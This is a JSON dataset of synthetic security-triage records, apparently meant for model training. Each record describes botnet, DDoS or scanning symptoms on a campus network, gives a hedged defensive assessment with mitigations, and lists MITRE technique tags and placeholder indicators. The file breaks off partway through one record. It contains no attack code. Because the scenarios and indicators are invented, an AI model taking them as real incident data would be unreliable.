Hugging Face's logo

Buckets:
Sqlmyadmin
/
open-malsec-bucket

Files
xet
Sqlmyadmin/open-malsec-bucket / botnet-ddos-misc.json
Sqlmyadmin's picture
Sqlmyadmin
download
raw
55.9 kB
[
{
"id": "botnet-ddos-misc-001",
"Instruction": "Analyze the server logs to confirm if the spike in network requests indicates a DDoS attack.",
"Input": "Massive increase in inbound TCP SYN requests from multiple IP ranges over a 5-minute period.",
"Output": "Consistent with a SYN-flood DoS. Confirm with SYN/SYN-ACK ratios and connection-state telemetry, enable SYN cookies or SYN proxying, rate-limit abnormal sources, and engage upstream DDoS filtering if capacity is threatened.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1499.001: OS Exhaustion Flood"
],
"sector_impact": [
"E-commerce"
],
"observables": {
"ip_addresses": [
"192.168.50.200",
"192.168.50.201",
"192.168.50.202"
],
"ports": [
"80",
"443"
]
}
}
},
{
"id": "botnet-ddos-misc-002",
"Instruction": "Examine the following infected host logs for potential botnet-related traffic.",
"Input": "Host repeatedly connects to suspicious domain `c2.example.org` every 60 seconds on port 6667 (IRC).",
"Output": "The periodic IRC traffic is consistent with possible botnet C2. Block the destination after validation, isolate the host, capture relevant network and endpoint telemetry, and investigate processes and persistence before remediation.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [
"T1071: Application Layer Protocol"
],
"sector_impact": [
"SMB",
"Retail"
],
"observables": {
"domains": [
"c2.example.org"
],
"ip_addresses": [
"10.0.0.99"
],
"ports": [
"6667"
]
}
}
},
{
"id": "botnet-ddos-misc-003",
"Instruction": "Determine if the flood of HTTP GET requests targeting a campus learning management system indicates a Layer 7 DDoS.",
"Input": "Monitoring shows thousands of GET requests per second on the /login endpoint from a wide range of IPs.",
"Output": "Consistent with an HTTP service-exhaustion attack. Confirm request rates and backend impact, then apply rate limits, reverse-proxy or CDN protections, caching, and bot controls around the affected endpoint.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1499.002: Service Exhaustion Flood"
],
"sector_impact": [
"Education"
],
"observables": {
"ip_addresses": [
"198.51.100.1",
"203.0.113.10",
"203.0.113.11"
],
"urls": [
"/login"
]
}
}
},
{
"id": "botnet-ddos-misc-004",
"Instruction": "Identify if repeated UDP packets targeting port 123 on campus time servers is part of an NTP amplification DDoS.",
"Input": "University NTP servers show abnormally large UDP traffic bursts, saturating network bandwidth.",
"Output": "Consistent with NTP reflection/amplification if the traffic shows spoofed-source or reflected-response patterns. Restrict NTP exposure, disable unnecessary public responses, apply filtering, and involve the upstream provider if bandwidth is being saturated.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1498.002: Reflection Amplification"
],
"sector_impact": [
"Education"
],
"observables": {
"ip_addresses": [
"203.0.113.50",
"203.0.113.51"
],
"ports": [
"123"
]
}
}
},
{
"id": "botnet-ddos-misc-005",
"Instruction": "Examine suspicious traffic from student lab machines that might indicate a botnet forming within the campus network.",
"Input": "Multiple lab PCs are sending small encrypted payloads to an external IP every 10 seconds, using an unknown protocol.",
"Output": "Regular encrypted beacons to an unexplained external destination are suspicious but not conclusive. Isolate affected hosts if warranted, identify the responsible process, capture traffic, and block the destination after validation.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [
"T1095: Non-Application Layer Protocol"
],
"sector_impact": [
"Education"
],
"observables": {
"ip_addresses": [
"198.51.100.201"
],
"protocols": [
"custom-encrypted"
]
}
}
},
{
"id": "botnet-ddos-misc-006",
"Instruction": "Analyze if the campaign to overload the e-learning portal with bogus sign-up requests is a DDoS or spam-based disruption.",
"Input": "Thousands of new account registrations per hour from random email addresses, crippling the server’s capacity.",
"Output": "This looks like automated registration abuse causing application resource exhaustion. Throttle registration, add verification or CAPTCHA controls, protect queues and backend services, and block repeat abusive sources where appropriate.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1499.003: Application Exhaustion Flood"
],
"sector_impact": [
"Education"
],
"observables": {
"email_addresses": [
"fakeuser@example.org",
"bot123@example.net"
],
"domains": [
"signup-abuse.example.org"
]
}
}
},
{
"id": "botnet-ddos-misc-007",
"Instruction": "Determine if compromised IoT cameras in a campus dorm are being leveraged in a botnet for external DDoS attacks.",
"Input": "Dorm cameras found generating large UDP traffic spikes toward random external IPs, with repeated suspicious patterns.",
"Output": "The cameras may be compromised and participating in outbound flooding. Isolate them, rotate credentials, update supported firmware, restrict egress, and block malicious outbound flows while preserving enough evidence to determine the compromise path.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [
"T1498.001: Direct Network Flood"
],
"sector_impact": [
"Education"
],
"observables": {
"ip_addresses": [
"10.10.0.50",
"10.10.0.51"
],
"ports": [
"8000",
"554"
]
}
}
},
{
"id": "botnet-ddos-misc-008",
"Instruction": "Check if a surge of DNS queries from an on-campus DNS resolver is part of a reflection-based DDoS attack.",
"Input": "DNS logs indicate requests with spoofed source IP addresses, generating high outbound traffic to unsuspecting hosts.",
"Output": "The spoofed-source pattern is consistent with DNS reflection/amplification. Disable open recursion, apply response-rate limiting and anti-spoofing controls, and coordinate with network providers if the traffic is volumetric.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1498.002: Reflection Amplification"
],
"sector_impact": [
"Education",
"Public DNS Services"
],
"observables": {
"domains": [
"spoofed-attack.example"
],
"ports": [
"53"
]
}
}
},
{
"id": "botnet-ddos-misc-009",
"Instruction": "Identify if repeated SSH login attempts from a university research lab indicate a botnet brute-force campaign.",
"Input": "Lab servers see thousands of SSH authentication failures from sequential IP addresses overnight.",
"Output": "The authentication pattern is consistent with distributed SSH password guessing. Restrict SSH exposure, prefer key-based authentication, add MFA or a managed access path where practical, rate-limit repeated failures, and review successful logins.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [
"T1110.001: Password Guessing"
],
"sector_impact": [
"Education",
"Research Labs"
],
"observables": {
"ip_addresses": [
"192.0.2.10",
"192.0.2.11",
"192.0.2.12"
],
"ports": [
"22"
]
}
}
},
{
"id": "botnet-ddos-misc-010",
"Instruction": "Examine if the campus web server logs show attempts at WordPress XML-RPC flooding consistent with a DDoS attack.",
"Input": "Server sees repeated POST requests to xmlrpc.php from hundreds of unique IPs, saturating CPU.",
"Output": "Repeated requests to xmlrpc.php are consistent with application-layer service exhaustion. Disable XML-RPC if it is not required, otherwise rate-limit and filter abusive requests through the web server, reverse proxy, CDN, or WAF.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1499.003: Application Exhaustion Flood"
],
"sector_impact": [
"Education",
"Web Hosting"
],
"observables": {
"ip_addresses": [
"198.51.100.2",
"198.51.100.3"
],
"urls": [
"/xmlrpc.php"
]
}
}
},
{
"id": "botnet-ddos-misc-011",
"Instruction": "Assess if a known DDoS script found on a student’s personal workstation suggests a planned campus network disruption.",
"Input": "Security scans reveal a LOIC-like tool in the student's downloads, configured to target the campus domain.",
"Output": "A DDoS-capable tool configured with the campus target is a significant indicator, but its presence alone does not prove execution. Preserve evidence, review execution and network logs, contain the workstation if necessary, and follow the organisation's incident and acceptable-use process.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1498.001: Direct Network Flood"
],
"sector_impact": [
"Education"
],
"observables": {
"tool_names": [
"LOIC-like-tool"
],
"domains": [
"campus.example.org"
]
}
}
},
{
"id": "botnet-ddos-misc-012",
"Instruction": "Identify if random high-volume email traffic from campus user accounts is part of a spam botnet operation.",
"Input": "Users receiving bouncebacks for messages they never sent. Thousands of spam emails originated from compromised accounts.",
"Output": "The symptoms could reflect compromised accounts or sender spoofing/backscatter. Check authenticated sent-mail and sign-in logs first; if account compromise is confirmed, reset credentials, revoke sessions, enable MFA, and contain the affected accounts.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [
"T1078: Valid Accounts"
],
"sector_impact": [
"Education",
"Email Services"
],
"observables": {
"email_addresses": [
"compromised@campus.example.org"
],
"domains": [
"spam-target.example.org"
]
}
}
},
{
"id": "botnet-ddos-misc-013",
"Instruction": "Examine if repeated ICMP echo requests from multiple subnets are signs of a smurf-based DDoS in a university network.",
"Input": "Network logs show large volumes of ICMP pings with spoofed source addresses targeting broadcast IP ranges.",
"Output": "The spoofed-source broadcast pattern is consistent with a smurf-style reflection attack. Disable IP-directed broadcasts, enforce anti-spoofing controls, and monitor abnormal ICMP volume and amplification paths.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1498.002: Reflection Amplification"
],
"sector_impact": [
"Education"
],
"observables": {
"ip_ranges": [
"10.10.0.0/16",
"10.20.0.0/16"
]
}
}
},
{
"id": "botnet-ddos-misc-014",
"Instruction": "Determine if the campus chat application’s slowdowns are a result of a DDoS or legitimate heavy usage.",
"Input": "Traffic peaks to the chat server coincide with suspicious repeated requests from random user agents.",
"Output": "The repeated requests may be automated abuse or an application-layer DoS, but normal heavy usage should be ruled out first. Compare against baseline traffic, then apply behavioural rate limits, authentication, caching, and bot controls as needed.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1499.002: Service Exhaustion Flood"
],
"sector_impact": [
"Education"
],
"observables": {
"user_agents": [
"RandomUA/1.0",
"FakeBrowser/2.1"
]
}
}
},
{
"id": "botnet-ddos-misc-015",
"Instruction": "Analyze if multiple DNS servers across campus resolving suspicious domains are part of a coordinated botnet communication.",
"Input": "DNS logs show repeated lookups for subdomains of bot-c2.example.org, from hundreds of local IPs.",
"Output": "The repeated lookups for the same suspicious domain across many hosts may indicate DNS-based C2 or a shared malicious dependency. Block the domain after validation, identify querying endpoints, and correlate DNS activity with endpoint telemetry.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [
"T1071.004: DNS"
],
"sector_impact": [
"Education"
],
"observables": {
"domains": [
"bot-c2.example.org"
]
}
}
},
{
"id": "botnet-ddos-misc-016",
"Instruction": "Determine whether the large outbound traffic from a departmental printer indicates compromise, botnet activity, or misconfiguration.",
"Input": "Printer logs indicate ongoing connections to random external IPs on port 80, saturating network capacity.",
"Output": "The printer may be compromised or badly misconfigured. Isolate it, review firmware and configuration, reset credentials, restrict unnecessary outbound access, and verify whether the traffic is actually contributing to flooding.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [
"T1498.001: Direct Network Flood"
],
"sector_impact": [
"Education"
],
"observables": {
"ip_addresses": [
"10.30.0.2"
],
"ports": [
"80"
]
}
}
},
{
"id": "botnet-ddos-misc-017",
"Instruction": "Determine if a wave of malicious UDP packets targeting the campus sports streaming service is a DDoS attempt.",
"Input": "Massive random UDP packets on port 8080, causing streaming lags during live sports events.",
"Output": "Consistent with a UDP network flood. Apply upstream or edge filtering, rate limits and ACLs where appropriate, and use provider-side DDoS mitigation if the inbound volume exceeds local capacity.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1498.001: Direct Network Flood"
],
"sector_impact": [
"Education",
"Sports"
],
"observables": {
"ports": [
"8080"
],
"ip_addresses": [
"203.0.113.200",
"203.0.113.201"
]
}
}
},
{
"id": "botnet-ddos-misc-018",
"Instruction": "Analyze suspicious spikes in inbound TLS handshake failures on the campus admissions web portal.",
"Input": "Sudden increase in incomplete TLS handshakes from diverse IPs, leading to partial server resource exhaustion.",
"Output": "The pattern is consistent with TLS handshake or service exhaustion; it does not by itself prove a TLS renegotiation attack. Confirm connection-state behaviour, rate-limit new handshakes, enforce sensible connection limits, and use reverse-proxy or upstream DDoS protection if needed.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1499.002: Service Exhaustion Flood"
],
"sector_impact": [
"Education"
],
"observables": {
"ip_addresses": [
"203.0.113.44",
"203.0.113.45"
],
"ports": [
"443"
]
}
}
},
{
"id": "botnet-ddos-misc-019",
"Instruction": "Examine if repeated ARP spoofing attempts in the campus dorm network are part of a broader botnet infiltration tactic.",
"Input": "Dorm routers log ARP table conflicts for multiple MAC addresses. Students report intermittent connectivity issues.",
"Output": "ARP conflicts can indicate ARP cache poisoning but can also result from benign network faults. Correlate ARP and switch telemetry, identify the conflicting device, enable protections such as DHCP snooping and Dynamic ARP Inspection where supported, and isolate confirmed rogue hosts.",
"Metadata": {
"threat_type": "network_spoofing",
"attack_techniques": [
"T1557.002: ARP Cache Poisoning"
],
"sector_impact": [
"Education"
],
"observables": {
"mac_addresses": [
"00:11:22:33:44:55",
"66:77:88:99:AA:BB"
],
"ip_addresses": [
"10.50.0.10",
"10.50.0.11"
]
}
}
},
{
"id": "botnet-ddos-misc-020",
"Instruction": "Identify if the presence of a 'ping of death' pattern is causing crashes on older campus routers.",
"Input": "ICMP packets larger than the normal MTU size arrive, triggering router restarts and downtime.",
"Output": "Oversized ICMP traffic alone does not prove a classic ping-of-death condition. Confirm malformed or fragmented packets and device crashes, then patch or replace affected firmware and filter malformed ICMP traffic at the network edge.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1499.004: Application or System Exploitation"
],
"sector_impact": [
"Education"
],
"observables": {
"packet_size": [
">65535 bytes"
],
"device_models": [
"RouterXYZ-Old"
]
}
}
},
{
"id": "botnet-ddos-misc-021",
"Instruction": "Check if multiple compromised Raspberry Pi devices in a robotics lab are scanning the internet for open ports as part of a botnet.",
"Input": "University logs show Pi devices performing port scans on random IP blocks, generating flagged traffic alerts.",
"Output": "The outbound scanning is unauthorised and may indicate compromise. Isolate the Raspberry Pi devices, identify the scanning process, reimage or remediate them as appropriate, rotate exposed credentials, and restrict unnecessary outbound scanning.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [
"T1595.001: Scanning IP Blocks"
],
"sector_impact": [
"Education",
"IoT Labs"
],
"observables": {
"ip_addresses": [
"10.60.0.5",
"10.60.0.6"
],
"ports": [
"all"
]
}
}
},
{
"id": "botnet-ddos-misc-022",
"Instruction": "Analyze if a wave of TCP RST packets halting connectivity to the main campus website is a targeted DDoS tactic.",
"Input": "Session logs show an abnormally high number of TCP RST packets from a range of IPs, forcing connections to reset.",
"Output": "An abnormal RST flood can disrupt established sessions, but validate packet sources and TCP state before concluding it is malicious. Use stateful filtering, rate limits, and upstream mitigation if the traffic volume is significant.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1499: Endpoint Denial of Service"
],
"sector_impact": [
"Education"
],
"observables": {
"ip_addresses": [
"203.0.113.55",
"203.0.113.56"
],
"ports": [
"443"
]
}
}
},
{
"id": "botnet-ddos-misc-023",
"Instruction": "Determine if suspicious DNS queries for random subdomains aimed at the library server is a subdomain DDoS attack.",
"Input": "Library DNS logs show thousands of unique subdomain requests, e.g. xyz1.library.example.org, xyz2.library.example.org, saturating resources.",
"Output": "The random-subdomain query pattern is consistent with DNS service exhaustion. Apply DNS response-rate controls, use resilient or anycast authoritative DNS where practical, and filter or challenge clearly abusive sources without disrupting legitimate resolution.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1499.002: Service Exhaustion Flood"
],
"sector_impact": [
"Education",
"Libraries"
],
"observables": {
"domains": [
"xyz1.library.example.org",
"xyz2.library.example.org"
]
}
}
},
{
"id": "botnet-ddos-misc-024",
"Instruction": "Check if a DDoS extortion email targeting a college IT department is credible, demanding BTC for prevention.",
"Input": "Email states: 'Pay 2 BTC or your entire network gets DDoSed for 24 hours starting next Monday.'",
"Output": "Treat the message as a DDoS extortion threat. Preserve the message and headers, prepare upstream DDoS mitigation, notify the appropriate internal and external responders, and avoid payment decisions without legal, executive, and law-enforcement guidance.",
"Metadata": {
"threat_type": "ddos_extortion",
"attack_techniques": [],
"sector_impact": [
"Education"
],
"observables": {
"email_addresses": [
"attacker@example.net"
]
}
}
},
{
"id": "botnet-ddos-misc-025",
"Instruction": "Analyze if leftover 'Mirai-like' scripts on an old student Linux server suggest it was part of a prior botnet.",
"Input": "Server found with cron jobs pinging suspicious IP daily and referencing Mirai in comment lines.",
"Output": "The cron persistence and unexplained network activity indicate compromise, but references to Mirai in comments are not sufficient for attribution. Preserve evidence, isolate the host, remove malicious persistence after collection, patch the system, and monitor for recurrence.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [
"T1053.003: Cron"
],
"sector_impact": [
"Education"
],
"observables": {
"scripts": [
"mirai_init.sh"
],
"ip_addresses": [
"203.0.113.99"
],
"referenced_malware_family": [
"Mirai"
]
}
}
},
{
"id": "botnet-ddos-misc-026",
"Instruction": "Examine if high CPU usage on the campus firewall is due to a volumetric DDoS or firewall misconfiguration.",
"Input": "Firewall logs show constant inbound SYN floods saturating CPU. No sign of misconfiguration in rule sets.",
"Output": "The sustained SYN flood is likely exhausting firewall connection-state resources. Enable SYN cookies or proxying where supported, tune connection limits carefully, and move filtering upstream rather than relying only on local hardware capacity.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1499.001: OS Exhaustion Flood"
],
"sector_impact": [
"Education"
],
"observables": {
"ports": [
"443",
"80"
]
}
}
},
{
"id": "botnet-ddos-misc-027",
"Instruction": "Identify if a multi-vector DDoS combining UDP floods and HTTP GET floods is targeting the campus sports event ticket site.",
"Input": "Logs show large UDP volumes on port 8081 plus thousands of GET requests to /tickets, causing website slowdowns.",
"Output": "This is consistent with a multi-vector DDoS combining a network flood with HTTP service exhaustion. Mitigate the UDP volume upstream and separately apply CDN, reverse-proxy, WAF, caching, and rate-limit controls to the HTTP path.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1498.001: Direct Network Flood",
"T1499.002: Service Exhaustion Flood"
],
"sector_impact": [
"Education",
"Sports"
],
"observables": {
"ports": [
"8081"
],
"urls": [
"/tickets"
]
}
}
},
{
"id": "botnet-ddos-misc-028",
"Instruction": "Determine if campus domain controllers show inbound scanning from a known botnet IP range, indicating potential infiltration attempts.",
"Input": "SOC flagged repeated LDAP and Kerberos login attempts from an IP range associated with prior botnet activity.",
"Output": "Repeated LDAP and Kerberos authentication attempts are consistent with password guessing or spraying. Ensure domain-controller services are not unnecessarily internet-exposed, review authentication logs, block abusive sources, enforce strong account controls, and investigate any successful logins.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [
"T1110.001: Password Guessing"
],
"sector_impact": [
"Education"
],
"observables": {
"ip_addresses": [
"198.51.100.88/29"
],
"ports": [
"389",
"88"
]
}
}
},
{
"id": "botnet-ddos-misc-029",
"Instruction": "Analyze if the large spike in TCP FIN packets to the main campus forum is a specialized DDoS or normal session closure.",
"Input": "Forum logs: Surges of FIN packets from multiple IPs that do not match typical session patterns, causing resource exhaustion.",
"Output": "The FIN surge may be a TCP DoS pattern, but confirm that the packets are abnormal for existing sessions. Use stateful filtering, connection-rate controls, and upstream filtering if the traffic is volumetric.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1499.001: OS Exhaustion Flood"
],
"sector_impact": [
"Education"
],
"observables": {
"ports": [
"443"
],
"ip_addresses": [
"203.0.113.157",
"203.0.113.158"
]
}
}
},
{
"id": "botnet-ddos-misc-030",
"Instruction": "Determine whether booter scripts found on the campus gaming server indicate compromise or use in a DDoS-for-hire operation.",
"Input": "Investigators found ‘booter’ scripts on the gaming server, referencing attack targets outside the university.",
"Output": "The presence of booter scripts warrants investigation but does not by itself establish whether the server was compromised or intentionally used for DDoS-for-hire activity. Preserve evidence, review execution and network history, contain the server, and remediate according to the findings.",
"Metadata": {
"threat_type": "ddos_tooling",
"attack_techniques": [],
"sector_impact": [
"Education",
"Gaming Community"
],
"observables": {
"scripts": [
"booter.py",
"attack.sh"
]
}
}
},
{
"id": "botnet-ddos-misc-031",
"Instruction": "Determine if continual DNS resolution failures on the campus library site are caused by a DNS-based DDoS or internal misconfiguration.",
"Input": "Frequent timeouts and 'SERVFAIL' responses appear for library.example.org domain from external resolvers.",
"Output": "The evidence is not enough to distinguish DNS DoS from a configuration or upstream failure. Check authoritative-server health, zone configuration, query volume, network reachability, and provider telemetry before applying DDoS-specific mitigation.",
"Metadata": {
"threat_type": "availability_anomaly",
"attack_techniques": [],
"sector_impact": [
"Education"
],
"observables": {
"domains": [
"library.example.org"
]
}
}
},
{
"id": "botnet-ddos-misc-032",
"Instruction": "Examine logs showing simultaneous inbound traffic from Tor exit nodes targeting the admissions portal with random queries.",
"Input": "High volume requests from known Tor IPs, each making random search queries that degrade site performance.",
"Output": "The traffic pattern may represent automated service exhaustion, but Tor use alone is not evidence of malicious intent. Apply behaviour-based rate limits and challenges, protect expensive application paths, and avoid broad source blocking unless the operational trade-off is justified.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1499.002: Service Exhaustion Flood"
],
"sector_impact": [
"Education"
],
"observables": {
"tor_exit_nodes": [
"198.51.100.40",
"203.0.113.40"
]
}
}
},
{
"id": "botnet-ddos-misc-033",
"Instruction": "Identify if an infiltration of multiple student web servers is leading to external DDoS traffic spikes from campus IP ranges.",
"Input": "External complaint: large traffic bursts from campus IP blocks hitting gaming servers overseas. Internal logs trace to student-hosted sites.",
"Output": "The outbound traffic suggests the student servers may be compromised and participating in DDoS activity. Confirm with flow and process telemetry, isolate affected systems, remediate or reimage them, and restrict malicious egress at the network boundary.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1498.001: Direct Network Flood"
],
"sector_impact": [
"Education"
],
"observables": {
"ip_addresses": [
"10.70.0.45",
"10.70.0.46"
]
}
}
},
{
"id": "botnet-ddos-misc-034",
"Instruction": "Analyze whether external port scanning from a small set of lab machines indicates unauthorised reconnaissance or botnet activity.",
"Input": "Machines 10.80.0.10 and 10.80.0.11 are enumerating external IPs on ports 22, 3389, 5900 with no official reason.",
"Output": "The external port scanning is suspicious but does not prove a newly formed botnet. Identify the responsible process and user, contain affected hosts if unauthorised, and restrict or alert on unexplained outbound scanning.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [
"T1595.001: Scanning IP Blocks"
],
"sector_impact": [
"Education"
],
"observables": {
"ip_addresses": [
"10.80.0.10",
"10.80.0.11"
],
"ports": [
"22",
"3389",
"5900"
]
}
}
},
{
"id": "botnet-ddos-misc-035",
"Instruction": "Check if anomalous BGP route announcements from the university’s network are part of a route hijacking scenario enabling DDoS.",
"Input": "Monitoring sees unauthorized BGP advertisements for external IP prefixes, associated with high-volume traffic redirection.",
"Output": "The route announcements are consistent with a possible BGP hijack or serious routing misconfiguration. Validate the origin and AS path, check RPKI/ROV status and prefix filters, preserve routing telemetry, and coordinate immediately with upstream providers.",
"Metadata": {
"threat_type": "route_hijacking",
"attack_techniques": [],
"sector_impact": [
"Education"
],
"observables": {
"bgp_prefixes": [
"203.0.113.0/24",
"198.51.100.0/24"
]
}
}
},
{
"id": "botnet-ddos-misc-036",
"Instruction": "Determine if a DNS proxy deployed by a student is inadvertently acting as an open resolver, fueling DNS amplification attacks.",
"Input": "A personal DNS proxy is responding to external queries, resulting in high outbound traffic to random IPs.",
"Output": "The DNS proxy is functioning as an open resolver and could be abused for reflection/amplification. Restrict recursion to authorised clients, block unnecessary external access, enable response-rate limiting where supported, and apply anti-spoofing controls.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1498.002: Reflection Amplification"
],
"sector_impact": [
"Education"
],
"observables": {
"ports": [
"53"
]
}
}
},
{
"id": "botnet-ddos-misc-037",
"Instruction": "Analyze abnormal CPU usage on campus mail servers linked to sudden spikes in email bounce traffic, possibly from a spam botnet.",
"Input": "Mail queue filled with undeliverable spam messages, CPU pegged at 100%, crowding out legitimate mail.",
"Output": "The mail-server exhaustion could be caused by compromised accounts, infected hosts, or an open relay. Restrict relay behaviour, rate-limit outbound mail, review authentication and queue logs, contain compromised systems, and maintain SPF, DKIM, and DMARC as supporting controls.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [
"T1499.002: Service Exhaustion Flood"
],
"sector_impact": [
"Education"
],
"observables": {
"ports": [
"25"
]
}
}
},
{
"id": "botnet-ddos-misc-038",
"Instruction": "Check whether TLS-scanning tools running on a dorm PC are performing unauthorised external vulnerability reconnaissance.",
"Input": "Dorm PC discovered running an automated script scanning random IPs for SSL/TLS weaknesses, suspicious timing with known DDoS group activity.",
"Output": "The external TLS scanning is unauthorised reconnaissance if it is not part of an approved task. Identify the process and user, preserve relevant telemetry, stop the scan, and contain or reimage the host if compromise is suspected.",
"Metadata": {
"threat_type": "reconnaissance",
"attack_techniques": [
"T1595.002: Vulnerability Scanning"
],
"sector_impact": [
"Education",
"Dorm Network"
],
"observables": {
"scripts": [
"tls_scan.py"
]
}
}
},
{
"id": "botnet-ddos-misc-039",
"Instruction": "Identify if external complaints about malicious traffic from the campus IP range targeting gaming servers abroad indicate a DDoS emanation.",
"Input": "Gaming service providers report high-volume traffic from multiple campus subnets. Local netflow shows unusual bursts at night.",
"Output": "The campus network may be originating a direct network flood. Use flow telemetry to identify top talkers, isolate compromised hosts, block malicious egress, and coordinate with affected providers or networks as required.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1498.001: Direct Network Flood"
],
"sector_impact": [
"Education",
"Gaming Community"
],
"observables": {
"ip_ranges": [
"10.90.0.0/16"
],
"ports": [
"443",
"80"
]
}
}
},
{
"id": "botnet-ddos-misc-040",
"Instruction": "Determine whether repeated CPU and network spikes on campus hypervisors are caused by legitimate workloads, cryptomining, or DDoS botnet activity.",
"Input": "Hypervisor logs show VMs sending high-bandwidth outbound traffic, plus abnormal CPU usage. No direct cryptomining signatures found.",
"Output": "The symptoms could be malicious DDoS activity, cryptomining, or a legitimate workload. Compare the traffic with VM processes and scheduled jobs, isolate unexplained workloads, and enforce egress and resource controls once the cause is confirmed.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [
"T1498.001: Direct Network Flood"
],
"sector_impact": [
"Education",
"Virtualization"
],
"observables": {
"vm_ids": [
"vm-101",
"vm-102"
]
}
}
},
{
"id": "botnet-ddos-misc-041",
"Instruction": "Determine if an on-campus job listing portal is under a credential-stuffing or DDoS attack after noticing repeated login attempts.",
"Input": "Portal logs show wave of login attempts from distinct IPs, each attempt tries multiple username-password combos quickly.",
"Output": "The login pattern is consistent with credential stuffing or another automated credential attack. Apply MFA, rate limits, bot mitigation, breached-password protections, and account-takeover monitoring, then review for successful or anomalous logins.",
"Metadata": {
"threat_type": "credential_attack",
"attack_techniques": [
"T1110.004: Credential Stuffing"
],
"sector_impact": [
"Education"
],
"observables": {
"ip_addresses": [
"198.51.100.210",
"198.51.100.211"
]
}
}
},
{
"id": "botnet-ddos-misc-042",
"Instruction": "Analyze if a newly discovered worm on the campus network is scanning ports and forcibly enrolling devices in a botnet.",
"Input": "Multiple endpoints run the same worm binary, scanning for open SMB shares and dropping additional payloads referencing C2 domain.",
"Output": "The worm is scanning SMB services and transferring payloads laterally. Isolate affected endpoints, patch exposed SMB weaknesses, restrict unnecessary SMB paths, contain lateral file transfer, block confirmed C2 infrastructure, and rotate credentials exposed during the incident.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [
"T1046: Network Service Discovery",
"T1570: Lateral Tool Transfer"
],
"sector_impact": [
"Education"
],
"observables": {
"domains": [
"worm-c2.example.org"
],
"ports": [
"445"
]
}
}
},
{
"id": "botnet-ddos-misc-043",
"Instruction": "Check if a massive spike in DNS-based 'TXT record' lookups for campus.example.org is part of a new DDoS vector discovered by security researchers.",
"Input": "DNS logs show high-volume random queries for TXT records on campus.example.org from thousands of IPs across multiple countries.",
"Output": "The high-volume TXT-query pattern is consistent with DNS service exhaustion. Apply response-rate controls, use resilient authoritative DNS infrastructure, and work with the DNS or network provider if request volume exceeds local capacity.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1499.002: Service Exhaustion Flood"
],
"sector_impact": [
"Education"
],
"observables": {
"domains": [
"campus.example.org"
],
"dns_record_types": [
"TXT"
]
}
}
},
{
"id": "botnet-ddos-misc-044",
"Instruction": "Identify if the eSports club’s dedicated server is broadcasting malicious traffic as part of a broader DDoS campaign on competitor domains.",
"Input": "Traffic captures reveal high-volume pings to competitor eSports servers, correlating with match schedules.",
"Output": "The outbound high-volume ICMP traffic may be unauthorised DDoS activity. Preserve flow and host telemetry, isolate the source server, block malicious egress, and investigate who or what process initiated the traffic.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1498.001: Direct Network Flood"
],
"sector_impact": [
"Education",
"Gaming Community"
],
"observables": {
"domains": [
"competitor-esports.example.org"
],
"ports": [
"7"
]
}
}
},
{
"id": "botnet-ddos-misc-045",
"Instruction": "Examine if repeated broadcast storms from a campus switch indicate a misconfiguration or a malicious attempt at local DoS.",
"Input": "Network logs reveal broadcast traffic loops saturating the VLAN, coinciding with an unknown device plugging into a trunk port.",
"Output": "A broadcast storm is often caused by a Layer-2 loop or configuration fault, although deliberate disruption is possible. Check STP state, MAC tables and trunk configuration, enable storm control where appropriate, and isolate the unknown device while investigating.",
"Metadata": {
"threat_type": "network_disruption",
"attack_techniques": [],
"sector_impact": [
"Education"
],
"observables": {
"device_mac": [
"00:AA:BB:CC:DD:EE"
],
"vlan_id": "101"
}
}
},
{
"id": "botnet-ddos-misc-046",
"Instruction": "Determine if a wave of SMTP connection attempts from on-campus IPs to external mail servers is part of a spambot or an unprotected open relay scenario.",
"Input": "Unusually high outbound mail attempts on port 25 from random lab machines. Many are flagged as spam by external providers.",
"Output": "The pattern is consistent with compromised hosts sending spam or an open-relay problem. Restrict outbound SMTP to approved relays, isolate affected lab machines, review mail and authentication logs, and close any unauthorised relay configuration.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [],
"sector_impact": [
"Education"
],
"observables": {
"ports": [
"25"
],
"ip_addresses": [
"10.90.0.100",
"10.90.0.101"
]
}
}
},
{
"id": "botnet-ddos-misc-047",
"Instruction": "Check if repeated attempts to saturate bandwidth on a campus e-book repository indicate a DDoS aimed at denying student access to course materials.",
"Input": "Traffic logs show surges of large file requests from multiple subnets targeting a single e-book PDF repeatedly.",
